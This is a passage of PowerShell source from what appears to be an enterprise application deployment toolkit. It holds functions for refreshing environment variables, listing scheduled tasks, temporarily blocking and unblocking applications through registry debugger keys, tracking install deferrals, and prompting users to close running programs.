$PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header [scriptblock]$GetEnvironmentVar = { Param ( $Key, $Scope ) [Environment]::GetEnvironmentVariable($Key, $Scope) } } Process { Try { Write-Log -Message 'Refresh the environment variables for this PowerShell session.' -Source ${CmdletName} If ($LoadLoggedOnUserEnvironmentVariables -and $RunAsActiveUser) { [string]$CurrentUserEnvironmentSID = $RunAsActiveUser.SID } Else { [string]$CurrentUserEnvironmentSID = [Security.Principal.WindowsIdentity]::GetCurrent().User.Value } [string]$MachineEnvironmentVars = 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' [string]$UserEnvironmentVars = "Registry::HKEY_USERS\$CurrentUserEnvironmentSID\Environment" $MachineEnvironmentVars, $UserEnvironmentVars | Get-Item | Where-Object { $_ } | ForEach-Object { $envRegPath = $_.PSPath; $_ | Select-Object -ExpandProperty 'Property' | ForEach-Object { Set-Item -LiteralPath "env:$($_)" -Value (Get-ItemProperty -LiteralPath $envRegPath -Name $_).$_ } } [string[]]$PathFolders = 'Machine', 'User' | ForEach-Object { (& $GetEnvironmentVar -Key 'PATH' -Scope $_) } | Where-Object { $_ } | ForEach-Object { $_.Trim(';') } | ForEach-Object { $_.Split(';') } | ForEach-Object { $_.Trim() } | ForEach-Object { $_.Trim('"') } | Select-Object -Unique $env:PATH = $PathFolders -join ';' } Catch { Write-Log -Message "Failed to refresh the environment variables for this PowerShell session. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to refresh the environment variables for this PowerShell session: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Set-Alias -Name 'Refresh-SessionEnvironmentVariables' -Value 'Update-SessionEnvironmentVariables' -Scope 'Script' -Force -ErrorAction 'SilentlyContinue' Function Get-ScheduledTask { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [string]$TaskName, [Parameter(Mandatory=$false)] [ValidateNotNullOrEmpty()] [boolean]$ContinueOnError = $true ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header If (-not $exeSchTasks) { [string]$exeSchTasks = "$env:WINDIR\system32\schtasks.exe" } [psobject[]]$ScheduledTasks = @() } Process { Try { Write-Log -Message 'Retrieve Scheduled Tasks...' -Source ${CmdletName} [string[]]$exeSchtasksResults = & $exeSchTasks /Query /V /FO CSV If ($global:LastExitCode -ne 0) { Throw "Failed to retrieve scheduled tasks using [$exeSchTasks]." } [psobject[]]$SchtasksResults = $exeSchtasksResults | ConvertFrom-CSV -Header 'HostName', 'TaskName', 'Next Run Time', 'Status', 'Logon Mode', 'Last Run Time', 'Last Result', 'Author', 'Task To Run', 'Start In', 'Comment', 'Scheduled Task State', 'Idle Time', 'Power Management', 'Run As User', 'Delete Task If Not Rescheduled', 'Stop Task If Runs X Hours and X Mins', 'Schedule', 'Schedule Type', 'Start Time', 'Start Date', 'End Date', 'Days', 'Months', 'Repeat: Every', 'Repeat: Until: Time', 'Repeat: Until: Duration', 'Repeat: Stop If Still Running' -ErrorAction 'Stop' If ($SchtasksResults) { ForEach ($SchtasksResult in $SchtasksResults) { If ($SchtasksResult.TaskName -match $TaskName) { $SchtasksResult | Get-Member -MemberType 'Properties' | ForEach-Object -Begin { [hashtable]$Task = @{} } -Process { ($Task.($($_.Name).Replace(' ','').Replace(':',''))) = If ($_.Name -ne $SchtasksResult.($_.Name)) { $SchtasksResult.($_.Name) } } -End { If (($Task.Values | Select-Object -Unique | Measure-Object).Count) { $ScheduledTasks += New-Object -TypeName 'PSObject' -Property $Task } } } } } } Catch { Write-Log -Message "Failed to retrieve scheduled tasks. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "Failed to retrieve scheduled tasks: $($_.Exception.Message)" } } } End { Write-Output -InputObject $ScheduledTasks Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Block-AppExecution { [CmdletBinding()] Param ( [Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string[]]$ProcessName ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header [char[]]$invalidScheduledTaskChars = '$', '!', '''', '"', '(', ')', ';', '\', '`', '*', '?', '{', '}', '[', ']', '<', '>', '|', '&', '%', ' [string]$SchInstallName = $installName ForEach ($invalidChar in $invalidScheduledTaskChars) { [string]$SchInstallName = $SchInstallName -replace [regex]::Escape($invalidChar),'' } [string]$schTaskUnblockAppsCommand += "-ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Hidden -File `"$dirAppDeployTemp\$scriptFileName`" -CleanupBlockedApps -ReferredInstallName `"$SchInstallName`" -ReferredInstallTitle `"$installTitle`" -ReferredLogName `"$logName`" -AsyncToolkitLaunch" [string]$xmlUnblockAppsSchTask = @" <?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo></RegistrationInfo> <Triggers> <BootTrigger> <Enabled>true</Enabled> </BootTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>S-1-5-18</UserId> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <StartWhenAvailable>false</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>false</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT1H</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>powershell.exe</Command> <Arguments>$schTaskUnblockAppsCommand</Arguments> </Exec> </Actions> </Task> "@ } Process { If ($deployModeNonInteractive) { Write-Log -Message "Bypassing Function [${CmdletName}] [Mode: $deployMode]." -Source ${CmdletName} Return } [string]$schTaskBlockedAppsName = $installName + '_BlockedApps' If (Test-Path -LiteralPath "$configToolkitTempPath\PSAppDeployToolkit" -PathType 'Leaf' -ErrorAction 'SilentlyContinue') { $null = Remove-Item -LiteralPath "$configToolkitTempPath\PSAppDeployToolkit" -Force -ErrorAction 'SilentlyContinue' } If (-not (Test-Path -LiteralPath $dirAppDeployTemp -PathType 'Container' -ErrorAction 'SilentlyContinue')) { $null = New-Item -Path $dirAppDeployTemp -ItemType 'Directory' -ErrorAction 'SilentlyContinue' } Copy-Item -Path "$scriptRoot\*.*" -Destination $dirAppDeployTemp -Exclude 'thumbs.db' -Force -Recurse -ErrorAction 'SilentlyContinue' [string]$debuggerBlockMessageCmd = "`"powershell.exe -ExecutionPolicy Bypass -NoProfile -NoLogo -WindowStyle Hidden -File `" & chr(34) & `"$dirAppDeployTemp\$scriptFileName`" & chr(34) & `" -ShowBlockedAppDialog -AsyncToolkitLaunch -ReferredInstallTitle `" & chr(34) & `"$installTitle`" & chr(34)" [string[]]$debuggerBlockScript = "strCommand = $debuggerBlockMessageCmd" $debuggerBlockScript += 'set oWShell = CreateObject("WScript.Shell")' $debuggerBlockScript += 'oWShell.Run strCommand, 0, false' $debuggerBlockScript | Out-File -FilePath "$dirAppDeployTemp\AppDeployToolkit_BlockAppExecutionMessage.vbs" -Force -Encoding 'default' -ErrorAction 'SilentlyContinue' [string]$debuggerBlockValue = "wscript.exe `"$dirAppDeployTemp\AppDeployToolkit_BlockAppExecutionMessage.vbs`"" Write-Log -Message 'Create scheduled task to cleanup blocked applications in case installation is interrupted.' -Source ${CmdletName} If (Get-ScheduledTask -ContinueOnError $true | Select-Object -Property 'TaskName' | Where-Object { $_.TaskName -eq "\$schTaskBlockedAppsName" }) { Write-Log -Message "Scheduled task [$schTaskBlockedAppsName] already exists." -Source ${CmdletName} } Else { Try { [string]$xmlSchTaskFilePath = "$dirAppDeployTemp\SchTaskUnBlockApps.xml" [string]$xmlUnblockAppsSchTask | Out-File -FilePath $xmlSchTaskFilePath -Force -ErrorAction 'Stop' } Catch { Write-Log -Message "Failed to export the scheduled task XML file [$xmlSchTaskFilePath]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} Return } [psobject]$schTaskResult = Execute-Process -Path $exeSchTasks -Parameters "/create /f /tn $schTaskBlockedAppsName /xml `"$xmlSchTaskFilePath`"" -WindowStyle 'Hidden' -CreateNoWindow -PassThru If ($schTaskResult.ExitCode -ne 0) { Write-Log -Message "Failed to create the scheduled task [$schTaskBlockedAppsName] by importing the scheduled task XML file [$xmlSchTaskFilePath]." -Severity 3 -Source ${CmdletName} Return } } [string[]]$blockProcessName = $processName [string[]]$blockProcessName = $blockProcessName | ForEach-Object { $_ + '.exe' } -ErrorAction 'SilentlyContinue' ForEach ($blockProcess in $blockProcessName) { Write-Log -Message "Set the Image File Execution Option registry key to block execution of [$blockProcess]." -Source ${CmdletName} Set-RegistryKey -Key (Join-Path -Path $regKeyAppExecution -ChildPath $blockProcess) -Name 'Debugger' -Value $debuggerBlockValue -ContinueOnError $true } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Unblock-AppExecution { [CmdletBinding()] Param ( ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($deployModeNonInteractive) { Write-Log -Message "Bypassing Function [${CmdletName}] [Mode: $deployMode]." -Source ${CmdletName} Return } [psobject[]]$unblockProcesses = $null [psobject[]]$unblockProcesses += (Get-ChildItem -LiteralPath $regKeyAppExecution -Recurse -ErrorAction 'SilentlyContinue' | ForEach-Object { Get-ItemProperty -LiteralPath $_.PSPath -ErrorAction 'SilentlyContinue'}) ForEach ($unblockProcess in ($unblockProcesses | Where-Object { $_.Debugger -like '*AppDeployToolkit_BlockAppExecutionMessage*' })) { Write-Log -Message "Remove the Image File Execution Options registry key to unblock execution of [$($unblockProcess.PSChildName)]." -Source ${CmdletName} $unblockProcess | Remove-ItemProperty -Name 'Debugger' -ErrorAction 'SilentlyContinue' } If ($BlockExecution) { Set-Variable -Name 'BlockExecution' -Value $false -Scope 'Script' } [string]$schTaskBlockedAppsName = $installName + '_BlockedApps' Try { If (Get-ScheduledTask -ContinueOnError $true | Select-Object -Property 'TaskName' | Where-Object { $_.TaskName -eq "\$schTaskBlockedAppsName" }) { Write-Log -Message "Delete Scheduled Task [$schTaskBlockedAppsName]." -Source ${CmdletName} Execute-Process -Path $exeSchTasks -Parameters "/Delete /TN $schTaskBlockedAppsName /F" } } Catch { Write-Log -Message "Error retrieving/deleting Scheduled Task.`n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-DeferHistory { [CmdletBinding()] Param ( ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Write-Log -Message 'Get deferral history...' -Source ${CmdletName} Get-RegistryKey -Key $regKeyDeferHistory -ContinueOnError $true } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Set-DeferHistory { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [string]$deferTimesRemaining, [Parameter(Mandatory=$false)] [string]$deferDeadline ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($deferTimesRemaining -and ($deferTimesRemaining -ge 0)) { Write-Log -Message "Set deferral history: [DeferTimesRemaining = $deferTimesRemaining]." -Source ${CmdletName} Set-RegistryKey -Key $regKeyDeferHistory -Name 'DeferTimesRemaining' -Value $deferTimesRemaining -ContinueOnError $true } If ($deferDeadline) { Write-Log -Message "Set deferral history: [DeferDeadline = $deferDeadline]." -Source ${CmdletName} Set-RegistryKey -Key $regKeyDeferHistory -Name 'DeferDeadline' -Value $deferDeadline -ContinueOnError $true } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-UniversalDate { [CmdletBinding()] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$DateTime = ((Get-Date -Format ($culture).DateTimeFormat.UniversalDateTimePattern).ToString()), [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$ContinueOnError = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { Try { If ($DateTime -match 'Z$') { $DateTime = $DateTime -replace 'Z$', '' } [datetime]$DateTime = [datetime]::Parse($DateTime, $culture) Write-Log -Message "Convert the date [$DateTime] to a universal sortable date time pattern based on the current culture [$($culture.Name)]." -Source ${CmdletName} [string]$universalDateTime = (Get-Date -Date $DateTime -Format ($culture).DateTimeFormat.UniversalSortableDateTimePattern -ErrorAction 'Stop').ToString() Write-Output -InputObject $universalDateTime } Catch { Write-Log -Message "The specified date/time [$DateTime] is not in a format recognized by the current culture [$($culture.Name)]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} If (-not $ContinueOnError) { Throw "The specified date/time [$DateTime] is not in a format recognized by the current culture: $($_.Exception.Message)" } } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Get-RunningProcesses { [CmdletBinding()] Param ( [Parameter(Mandatory=$false,Position=0)] [psobject[]]$ProcessObjects, [Parameter(Mandatory=$false,Position=1)] [switch]$DisableLogging ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($processObjects) { [string]$runningAppsCheck = ($processObjects | ForEach-Object { $_.ProcessName }) -join ',' If (-not($DisableLogging)) { Write-Log -Message "Check for running application(s) [$runningAppsCheck]..." -Source ${CmdletName} } [string[]]$processNames = $processObjects | ForEach-Object { $_.ProcessName } [Diagnostics.Process[]]$runningProcesses = Get-Process | Where-Object { $processNames -contains $_.ProcessName } If ($runningProcesses) { [string]$runningProcessList = ($runningProcesses | ForEach-Object { $_.ProcessName } | Select-Object -Unique) -join ',' If (-not($DisableLogging)) { Write-Log -Message "The following processes are running: [$runningProcessList]." -Source ${CmdletName} Write-Log -Message 'Resolve process descriptions...' -Source ${CmdletName} } ForEach ($runningProcess in $runningProcesses) { ForEach ($processObject in $processObjects) { If ($runningProcess.ProcessName -eq $processObject.ProcessName) { If ($processObject.ProcessDescription) { $runningProcess | Add-Member -MemberType 'NoteProperty' -Name 'ProcessDescription' -Value $processObject.ProcessDescription -Force -PassThru -ErrorAction 'SilentlyContinue' } ElseIf ($runningProcess.Description) { $runningProcess | Add-Member -MemberType 'NoteProperty' -Name 'ProcessDescription' -Value $runningProcess.Description -Force -PassThru -ErrorAction 'SilentlyContinue' } Else { $runningProcess | Add-Member -MemberType 'NoteProperty' -Name 'ProcessDescription' -Value $runningProcess.ProcessName -Force -PassThru -ErrorAction 'SilentlyContinue' } } } } } Else { If (-not($DisableLogging)) { Write-Log -Message 'Application(s) are not running.' -Source ${CmdletName} } } Write-Output -InputObject $runningProcesses } } End { Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -Footer } } Function Show-InstallationWelcome { [CmdletBinding(DefaultParametersetName='None')] Param ( [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [string]$CloseApps, [Parameter(Mandatory=$false)] [switch]$Silent = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$CloseAppsCountdown = 0, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$ForceCloseAppsCountdown = 0, [Parameter(Mandatory=$false)] [switch]$PromptToSave = $false, [Parameter(Mandatory=$false)] [switch]$PersistPrompt = $false, [Parameter(Mandatory=$false)] [switch]$BlockExecution = $false, [Parameter(Mandatory=$false)] [switch]$AllowDefer = $false, [Parameter(Mandatory=$false)] [switch]$AllowDeferCloseApps = $false, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$DeferTimes = 0, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$DeferDays = 0, [Parameter(Mandatory=$false)] [string]$DeferDeadline = '', [Parameter(ParameterSetName = "CheckDiskSpaceParameterSet",Mandatory=$true)] [ValidateScript({$_.IsPresent -eq ($true -or $false)})] [switch]$CheckDiskSpace, [Parameter(ParameterSetName = "CheckDiskSpaceParameterSet",Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$RequiredDiskSpace = 0, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$MinimizeWindows = $true, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [boolean]$TopMost = $true, [Parameter(Mandatory=$false)] [ValidateNotNullorEmpty()] [int32]$ForceCountdown = 0, [Parameter(Mandatory=$false)] [switch]$CustomText = $false ) Begin { [string]${CmdletName} = $PSCmdlet.MyInvocation.MyCommand.Name Write-FunctionHeaderOrFooter -CmdletName ${CmdletName} -CmdletBoundParameters $PSBoundParameters -Header } Process { If ($deployModeNonInteractive) { $Silent = $true } If ($useDefaultMsi) { $CloseApps = "$CloseApps,$defaultMsiExecutablesList" } If ($CheckDiskSpace) { Write-Log -Message 'Evaluate disk space requirements.' -Source ${CmdletName} [double]$freeDiskSpace = Get-FreeDiskSpace If ($RequiredDiskSpace -eq 0) { Try { $fso = New-Object -ComObject 'Scripting.FileSystemObject' -ErrorAction 'Stop' $RequiredDiskSpace = [math]::Round((($fso.GetFolder($scriptParentPath).Size) / 1MB)) } Catch { Write-Log -Message "Failed to calculate disk space requirement from source files. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} } } If ($freeDiskSpace -lt $RequiredDiskSpace) { Write-Log -Message "Failed to meet minimum disk space requirement. Space Required [$RequiredDiskSpace MB], Space Available [$freeDiskSpace MB]." -Severity 3 -Source ${CmdletName} If (-not $Silent) { Show-InstallationPrompt -Message ($configDiskSpaceMessage -f $installTitle, $RequiredDiskSpace, ($freeDiskSpace)) -ButtonRightText 'OK' -Icon 'Error' } Exit-Script -ExitCode $configInstallationUIExitCode } Else { Write-Log -Message 'Successfully passed minimum disk space requirement check.' -Source ${CmdletName} } } If ($CloseApps) { [psobject[]]$processObjects = @() ForEach ($process in ($CloseApps -split ',' | Where-Object { $_ })) { If ($process.Contains('=')) { [string[]]$ProcessSplit = $process -split '=' $processObjects += New-Object -TypeName 'PSObject' -Property @{ ProcessName = $ProcessSplit[0] ProcessDescription = $ProcessSplit[1] } } Else { [string]$ProcessInfo = $process $processObjects += New-Object -TypeName 'PSObject' -Property @{ ProcessName = $process ProcessDescription = '' } } } } If (($allowDefer) -or ($AllowDeferCloseApps)) { $allowDefer = $true $deferHistory = Get-DeferHistory $deferHistoryTimes = $deferHistory | Select-Object -ExpandProperty 'DeferTimesRemaining' -ErrorAction 'SilentlyContinue' $deferHistoryDeadline = $deferHistory | Select-Object -ExpandProperty 'DeferDeadline' -ErrorAction 'SilentlyContinue' $checkDeferDays = $false $checkDeferDeadline = $false If ($DeferDays -ne 0) { $checkDeferDays = $true } If ($DeferDeadline) { $checkDeferDeadline = $true } If ($DeferTimes -ne 0) { If ($deferHistoryTimes -ge 0) { Write-Log -Message "Defer history shows [$($deferHistory.DeferTimesRemaining)] deferrals remaining." -Source ${CmdletName} $DeferTimes = $deferHistory.DeferTimesRemaining - 1 } Else { $DeferTimes = $DeferTimes - 1 } Write-Log -Message "User has [$deferTimes] deferrals remaining." -Source ${CmdletName} If ($DeferTimes -lt 0) { Write-Log -Message 'Deferral has expired.' -Source ${CmdletName} $AllowDefer = $false } } Else { If (Test-Path -LiteralPath 'variable:deferTimes') { Remove-Variable -Name 'deferTimes' } $DeferTimes = $null } If ($checkDeferDays -and $allowDefer) { If ($deferHistoryDeadline) { Write-Log -Message "Defer history shows a deadline date of [$deferHistoryDeadline]." -Source ${CmdletName} [string]$deferDeadlineUniversal = Get-UniversalDate -DateTime $deferHistoryDeadline } Else { [string]$deferDeadlineUniversal = Get-UniversalDate -DateTime (Get-Date -Date ((Get-Date).AddDays($deferDays)) -Format ($culture).DateTimeFormat.UniversalDateTimePattern).ToString() } Write-Log -Message "User has until [$deferDeadlineUniversal] before deferral expires." -Source ${CmdletName} If ((Get-UniversalDate) -gt $deferDeadlineUniversal) { Write-Log -Message 'Deferral has expired.' -Source ${CmdletName} $AllowDefer = $false } } If ($checkDeferDeadline -and $allowDefer) { Try { [string]$deferDeadlineUniversal = Get-UniversalDate -DateTime $deferDeadline -ErrorAction 'Stop' } Catch { Write-Log -Message "Date is not in the correct format for the current culture. Type the date in the current locale format, such as 20/08/2014 (Europe) or 08/20/2014 (United States). If the script is intended for multiple cultures, specify the date in the universal sortable date/time format, e.g. '2013-08-22 11:51:52Z'. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} Throw "Date is not in the correct format for the current culture. Type the date in the current locale format, such as 20/08/2014 (Europe) or 08/20/2014 (United States). If the script is intended for multiple cultures, specify the date in the universal sortable date/time format, e.g. '2013-08-22 11:51:52Z': $($_.Exception.Message)" } Write-Log -Message "User has until [$deferDeadlineUniversal] remaining." -Source ${CmdletName} If ((Get-UniversalDate) -gt $deferDeadlineUniversal) { Write-Log -Message 'Deferral has expired.' -Source ${CmdletName} $AllowDefer = $false } } } If (($deferTimes -lt 0) -and (-not ($deferDeadlineUniversal))) { $AllowDefer = $false } If (-not ($deployModeSilent) -and (-not ($silent))) { If ($forceCloseAppsCountdown -gt 0) { $closeAppsCountdown = $forceCloseAppsCountdown [boolean]$forceCloseAppsCountdown = $true } ElseIf ($forceCountdown -gt 0){ $closeAppsCountdown = $forceCountdown [boolean]$forceCountdown = $true } Set-Variable -Name 'closeAppsCountdownGlobal' -Value $closeAppsCountdown -Scope 'Script' While ((Get-RunningProcesses -ProcessObjects $processObjects -OutVariable 'runningProcesses') -or (($promptResult -ne 'Defer') -and ($promptResult -ne 'Close'))) { [string]$runningProcessDescriptions = ($runningProcesses | Where-Object { $_.ProcessDescription } | Select-Object -ExpandProperty 'ProcessDescription' | Select-Object -Unique | Sort-Object) -join ',' If ($allowDefer) { If ($AllowDeferCloseApps -and (-not $runningProcessDescriptions)) { Break } ElseIf (($promptResult -ne 'Close') -or (($runningProcessDescriptions) -and ($promptResult -ne 'Continue'))) { [string]$promptResult = Show-WelcomePrompt -ProcessDescriptions $runningProcessDescriptions -CloseAppsCountdown $closeAppsCountdownGlobal -ForceCloseAppsCountdown $forceCloseAppsCountdown -ForceCountdown $forceCountdown -PersistPrompt $PersistPrompt -AllowDefer -DeferTimes $deferTimes -DeferDeadline $deferDeadlineUniversal -MinimizeWindows $MinimizeWindows -CustomText:$CustomText -TopMost $TopMost } } ElseIf (($runningProcessDescriptions) -or ($forceCountdown)) { [string]$promptResult = Show-WelcomePrompt -ProcessDescriptions $runningProcessDescriptions -CloseAppsCountdown $closeAppsCountdownGlobal -ForceCloseAppsCountdown $forceCloseAppsCountdown -ForceCountdown $forceCountdown -PersistPrompt $PersistPrompt -MinimizeWindows $minimizeWindows -CustomText:$CustomText -TopMost $TopMost } Else { Break } If ($promptResult -eq 'Continue') { Write-Log -Message 'User selected to continue...' -Source ${CmdletName} Start-Sleep -Seconds 2 If (-not $runningProcesses) { Break } } ElseIf ($promptResult -eq 'Close') { Write-Log -Message 'User selected to force the application(s) to close...' -Source ${CmdletName} If (($PromptToSave) -and ($SessionZero -and (-not $IsProcessUserInteractive))) { Write-Log -Message 'Specified [-PromptToSave] option will not be available because current process is running in session zero and is not interactive.' -Severity 2 -Source ${CmdletName} } ForEach ($runningProcess in $runningProcesses) { [psobject[]]$AllOpenWindowsForRunningProcess = Get-WindowTitle -GetAllWindowTitles -DisableFunctionLogging | Where-Object { $_.ParentProcess -eq $runningProcess.Name } If (($PromptToSave) -and (-not ($SessionZero -and (-not $IsProcessUserInteractive))) -and ($AllOpenWindowsForRunningProcess) -and ($runningProcess.MainWindowHandle -ne [IntPtr]::Zero)) { [timespan]$PromptToSaveTimeout = New-TimeSpan -Seconds $configInstallationPromptToSave [Diagnostics.StopWatch]$PromptToSaveStopWatch = [Diagnostics.StopWatch]::StartNew() $PromptToSaveStopWatch.Reset() ForEach ($OpenWindow in $AllOpenWindowsForRunningProcess) { Try { Write-Log -Message "Stop process [$($runningProcess.Name)] with window title [$($OpenWindow.WindowTitle)] and prompt to save if there is work to be saved (timeout in [$configInstallationPromptToSave] seconds)..." -Source ${CmdletName} [boolean]$IsBringWindowToFrontSuccess = [PSADT.UiAutomation]::BringWindowToFront($OpenWindow.WindowHandle) [boolean]$IsCloseWindowCallSuccess = $runningProcess.CloseMainWindow() If (-not $IsCloseWindowCallSuccess) { Write-Log -Message "Failed to call the CloseMainWindow() method on process [$($runningProcess.Name)] with window title [$($OpenWindow.WindowTitle)] because the main window may be disabled due to a modal dialog being shown." -Severity 3 -Source ${CmdletName} } Else { $PromptToSaveStopWatch.Start() Do { [boolean]$IsWindowOpen = [boolean](Get-WindowTitle -GetAllWindowTitles -DisableFunctionLogging | Where-Object { $_.WindowHandle -eq $OpenWindow.WindowHandle }) If (-not $IsWindowOpen) { Break } Start-Sleep -Seconds 3 } While (($IsWindowOpen) -and ($PromptToSaveStopWatch.Elapsed -lt $PromptToSaveTimeout)) $PromptToSaveStopWatch.Reset() If ($IsWindowOpen) { Write-Log -Message "Exceeded the [$configInstallationPromptToSave] seconds timeout value for the user to save work associated with process [$($runningProcess.Name)] with window title [$($OpenWindow.WindowTitle)]." -Severity 2 -Source ${CmdletName} } Else { Write-Log -Message "Window [$($OpenWindow.WindowTitle)] for process [$($runningProcess.Name)] was successfully closed." -Source ${CmdletName} } } } Catch { Write-Log -Message "Failed to close window [$($OpenWindow.WindowTitle)] for process [$($runningProcess.Name)]. `n$(Resolve-Error)" -Severity 3 -Source ${CmdletName} Continue } Finally { $runningProcess.Refresh() } } } Else { Write-Log -Message "Stop process $($runningProcess.Name)..." -Source ${CmdletName} Stop-Process -Id $runningProcess.Id -Force -ErrorAction 'SilentlyContinue' } } Start-Sleep -Seconds 2 } ElseIf ($promptResult -eq 'Timeout') { Write-Log -Message 'Installation not actioned before the timeout value.' -Source ${CmdletName} $BlockExecution = $false If (($deferTimes -ge 0) -or ($deferDeadlineUniversal)) { Set-DeferHistory -DeferTimesRemaining $DeferTimes -DeferDeadline $deferDeadlineUniversal } If ($script:welcomeTimer) { Try { $script:welcomeTimer.Dispose() $script:welcomeTimer = $null } Catch { } } $null = $shellApp.UndoMinimizeAll() Exit-Script -ExitCode $configInstallationUIExitCode } ElseIf ($promptResult -eq 'Defer') { Write-Log -Message 'Installation deferred by the user.' -Source ${CmdletName} $BlockExecution = $false Set-DeferHistory -DeferTimesRemaining $DeferTimes -DeferDeadline $deferDeadlineUniversal $null = $shellApp.UndoMinimizeAll() Exit-Script -ExitCode $configInstallationDeferExitCode } } } If (($Silent -or $deployModeSilent) -and $CloseApps) { [array]$runningProcesses = $null [array]$runningProcesses = Get-RunningProcesses $processObjects If ($runningProcesses) { [string]$runningProcessDescriptions = ($runningProcesses | Where-Object { $_.ProcessDescription } | Select-Object -ExpandProperty 'ProcessDescription' | Select-Object -Unique | Sort-Object) -join ',' Write-Log -Message "Force close application(s) [$($runningProcessDescriptions)] without prompting user." -Source ${CmdletName} $runningProcesses | Stop-Process -Force -ErrorAction 'SilentlyContinue' Start-Sleep -Seconds 2 } } If (($processObjects | Select-Object -ExpandProperty 'ProcessName') -contains 'notes') { [string]$notesPath = Get-Item -LiteralPath $regKeyLotusNotes -ErrorAction 'SilentlyContinue' | Get-ItemProperty | Select-Object -ExpandProperty 'Path' If ((-not $IsLocalSystemAccount) -and ($notesPath)) { [string[]]$notesPathExes = Get-ChildItem -LiteralPath $notesPath -Filter '*.exe' -Recurse | Select-Object -ExpandProperty 'BaseName' | Sort-Object $notesPathExes | ForEach-Object { If ((Get-Process | Select-Object -ExpandProperty 'Name') -contains $_) { [string]$notesNSDExecutable = Join-Path -Path $notesPath -ChildPath 'NSD.exe' Try { If (Test-Path -LiteralPath $notesNSDExecutable -PathType 'Leaf' -ErrorAction 'Stop') { Write-Log -Message "Execute [$notesNSDExecutable] with the -kill argument..." -Source ${CmdletName} [Diagnostics.Process]$notesNSDProcess = Start-Process -FilePath $notesNSDExecutable -ArgumentList '-kill' -WindowStyle 'Hidden' -PassThru -ErrorAction 'SilentlyContinue' If (-not ($notesNSDProcess.WaitForExit(10000))) { Write-Log -Message "[$notesNSDExecutable] did not end in a timely manner. Force terminate process." -Source ${CmdletName} Stop-Process -Name 'NSD' -Force -ErrorAction 'SilentlyContinue' } } } Catch { Write-Log -Message "Failed to launch [$notesNSDExecutable]. `n$(Resolve-Error)" -Source ${CmdletName} } Write-Log -Message "[$notesNSDExecutable] returned exit code [$($notesNSDProcess.ExitCode)]." -Source 